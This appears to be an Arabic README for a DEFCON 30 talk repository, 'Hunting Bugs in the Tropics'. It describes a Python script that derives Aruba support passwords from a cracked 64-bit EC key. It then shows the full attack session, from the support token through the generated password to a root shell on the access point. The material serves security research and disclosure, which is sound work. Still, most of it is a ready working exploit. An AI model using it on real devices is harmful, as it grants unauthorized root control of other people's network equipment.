
مواد داعمة لمحاضرة 'اصطياد الأخطاء البرمجية في المناطق الاستوائية' في DEFCON 30
هذا مستودع يحتوي على الشرائح المستخدمة في عرضي التقديمي "Hunting Bugs in the Tropics" في DEFCON30. يتضمن النص البرمجي بلغة بايثون المستخدم لحساب كلمة مرور الدعم بناءً على المفتاح الخاص الذي تم الحصول عليه عن طريق كسر المفتاح العام EC لدعم Aruba، بسبب ضعف حجمه (64 بت). يتيح لك ذلك الخروج من الغلاف الفرعي (subshell) على هذه الأجهزة، والحصول على غلاف جذر كامل (root shell).
يمكنك استخدامه بتشغيل support على AP CLI، وتقديم اسم مستخدم عشوائي:
# support
Username (Please enter with @domain.com, in lowercase): a
Token: ED14-B132-D4BB-D428
Please generate one time password at https://ase.arubanetworks.com/decode_aos_key
Support Password:
ثم قم بتمرير اسم المستخدم وقيمة Token إلى النص البرمجي support-access.py في هذا المستودع.
$ ./support-access.py a ED14-B132-D4BB-D428
Password: 4197d68283f73d5c
الصق الاستجابة في حقل Support Password:
Support Password: 4197d68283f73d5c
Switching to Full Access
~ # whoami
root